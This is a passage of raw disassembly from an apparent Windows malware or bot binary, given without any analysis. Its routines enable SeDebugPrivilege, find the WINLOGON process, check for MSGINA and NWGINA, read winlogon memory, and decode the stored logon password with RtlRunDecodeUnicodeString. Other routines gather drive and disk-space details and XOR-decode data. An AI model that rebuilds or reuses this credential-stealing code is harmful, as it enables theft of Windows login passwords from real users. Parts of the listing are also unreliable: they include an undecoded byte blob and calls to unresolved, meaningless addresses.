fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_4376AC push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_4167F5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4167F5: ; CODE XREF: ___:004167D3j lea eax, [ebp-510h] push eax call sub_4151AC push 10h lea eax, [ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi call near ptr 2660B41h nop cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi nop call near ptr 77E75CB5h loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437678 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_43764C loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_43783C retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437838 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_43788C lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437850 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset off_4378C8 push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78EC6850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78CC68FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22C923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 3068FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2359180h, 75C08590h dd 0FC75FF8Fh, 339594E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437914h dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h, 950FE890h dd 458B0233h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B08 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26B0000h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A44 call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A2C call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379D0 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437998 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_43796C loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] call near ptr 27A0432h nop pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437938 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26E0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax nop call near ptr 27B0000h push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call near ptr 2680284h nop cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 27D0000h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27C0BA1h test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 276061Ch test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2760000h test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 27B0000h nop mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 26608E4h pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2680284h test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27D0000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0BA1h test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27C0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27C0D96h test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax call near ptr 27B0000h nop jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] nop call near ptr 26608E4h loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call near ptr 26608E4h nop push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 27C0000h nop mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B54 push 200h push edi call sub_41B980 add esp, 1Ch push 